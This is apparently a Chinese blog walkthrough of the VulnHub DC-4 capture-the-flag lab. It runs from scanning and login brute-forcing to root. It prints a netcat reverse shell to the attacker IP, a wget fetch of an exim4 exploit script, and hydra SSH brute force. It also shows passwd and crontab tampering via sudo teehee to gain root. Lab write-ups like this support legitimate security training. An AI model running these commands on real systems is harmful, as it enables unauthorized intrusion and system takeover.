DC-4
靶机介绍
靶场下载地址:https://download.vulnhub.com/dc/DC-4.zip
环境搭建
下载之后,解压,使用vmware导入或者virtualbox导入都可以,但注意要保证与你的攻击机在同一网段下,vmware要使用最新版
kali攻击机:192.168.98.136
靶机渗透
信息收集
扫描主机
可知靶机的ip为:192.168.98.142
扫描端口
masscan --rate=100000 -p 0-65535 192.168.98.142
22和80端口开放
nmap -A 192.168.98.142
指纹识别
whatweb http://192.168.98.142
就只知道是一个nginx服务器,其他的就什么都没了,服了。。
没识别出来,访问网站,是一个登录页面:
目录扫描
dirb http://192.168.98.142 /usr/share/dirb/wordlists/big.txt
扫描目录也没什么可用的。。。。。
这次信息收集有点少啊。。。。
使用dirsearch来扫描一下:
dirsearch -u http://192.168.98.142 -i 200,300-399
也是一样没什么收货
漏洞挖掘
登录框爆破
nginx/1.15.10 这个版也没看见有漏洞利用的点,有什么东西都使用不了。
没事想法,目前先对这个登录框进行爆破 , 结果还是给它爆破从出来了(之前爆破一半没出来,后面放弃了,结果看答案密码就在我另一个字典里!)
账号:admin
密码:happy
远程命令执行反弹shell
登录看看:
点击run,上面显示了执行命令:ls -l
,一眼顶针,执行命令了!直接又点击其他的选项:
这下懂了吧,直接抓包看看数据包:
这个参数应该是可控的,修改参数的内容就是执行什么样的命令,尝试修改发包:将参数内容改为了whoami
根据返回包内容显示,这里存在远程命令执行漏洞,
本来想尝试写入php文件的,结果没成功,可能是没有权限,艹。。。
探测是否存在nc:(它这个不会报错回显,所以需要把内容输出到页面中)
echo `which nc`
存在nc命令,那么就用nc来反弹shell
靶机命令执行:
nc -e /bin/bash 192.168.98.136 5577
服务器监听
nc -lvvp 5577
成功收到会话:
//用python打开一个标准的shell
python -c "import pty;pty.spawn('/bin/bash')"
尝试创建一个文件,确实没有权限,行吧,难怪之前没有写入成功。。。
方法一:邪道速通
上传traitor工具来查询一下,也没发现很明显的漏洞
exim4提权
1.find 命令查找具有sudo权限的命令,发现exim4在使用时具有root权限
find / -perm -u=s -type f 2>/dev/null
存在exim4
2.查看一下exim4版本:
exim4 --version
这个版本存在漏洞
3.查询exim4版本的漏洞,选择相近的版本漏洞利用
4.将脚本复制到/tmp目录下
进入tmp目录,开启python服务器
因为其他目录有一定操作权限限制,所以我们操作靶机的tmp目录(因为我测试过这个靶机,tmp目录有操作权限):
受控机进入到tmp目录下载脚本:
wget http://192.168.98.136:8080/46996.sh
5.执行脚本,成功提权:
# 2种方式,那种能用就用,一般用第二种成功率高
./46996.sh -m setuid
./46996.sh -m netcat
寻找flag
通过这个方法拿得到root权限很不稳定,必须要尽快操作,立即进入root目录下,找到flag文件打开:
发现flag.txt 文件就在root目录下:
打开flag.txt文件:
方法二:传统解题
查看passwd 文件
cat etc/passwd
在home目录下发现了3个账户, 去里面找找宝贝
hydra爆破ssh
在目录/home/jim/backups 下找到了文件old-passwords.bak
,是一个密码字典:
也许这个字典可以用来爆破ssh,说干就干,将这个密码字段导出保存为dc4.txt文件,使用hydra来爆破ssh
hydra -l jim -P dc4.txt ssh://192.168.98.142
爆破成功:
账号:jim
密码:jibril04
登录jim账户
看一下有无能够root执行的命令:
没有就接着往下走。
jim目录下还有个mbox文件,之前没权限无法读取,现在切换到jim账号之后可以访问这个文件了
是一封邮件:
是不是提示我们去mail目录下寻找什么呢?
找到目录 /var/mail
www-data文件,没有权限无法读取,但是可以访问jim文件:
翻译一下邮件内容:
账号密码为:
账号:charles
密码:^xHhA&hvim0y
切换charles账户
成功登录charles账户:
查看能够root执行的命令
sudo -l
发有能够以root
执行的teehee
命令,而teehee
的作用是可以向文件中追加内容
知识补充:
- teehee命令:teehee命令可以往一个文件中追加内容,可以通过这个命令向/etc/passwd中追加一个超级用户。
- teehee参数-a:追加到指定文件,不覆盖原文件。
teehee命令提权
将账号写入/etc/passwd中
密码设置为空
echo "agony::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
对于admin::0:0:::/bin/bash的解释
[用户名]:[密码]:[UID]:[GID]:[身份描述]:[主目录]:[登录shell]
补充:uid=gid=0为超级用户,默认shell一般为/bin/bash。
执行命令成功:
切换admin用户成功,权限为root:
PS:如果你切换admin用户,发现切换不了,需要输入密码,请退回至kali终端重新ssh登录charles账户,再通过su admin 直接切换账户,不需要密码!也许你也可以尝试写入一个有密码的账户,我就不测试了。
teehee写入定时文件提权
向/etc/crontab文件中写入新的定时任务
时间部分全部填写为*,意思是每分钟执行一次,通过写入将/bin/sh的权限修改为4777,这样就可以在非root用户下执行它,并且执行期间拥有root权限。
sudo teehee /etc/crontab
* * * * * root chmod 4777 /bin/sh
写入成功:拿到root权限
/bin/sh
拿下flag
寻找flag:
find / -name flag*
成功拿下flag:
总结
1、后台密码爆破,使用burp爆破,工具爆破等等都可以
2、远程命令执行漏洞
3、反弹shell的命令
4、exim4版本漏洞利用
5、要注意home目录下有哪些账户喝敏感文件,以及passwd文件
6、熟悉利用hydra爆破ssh
6、利用teehee命令进行提权(这里使用crontab提权和添加新用户提权)
7、注意拿到账号密码之后,建议重新使用ssh登录,而不是在另一个用户上通过 su 命令来切换登录!(防止出错。。。)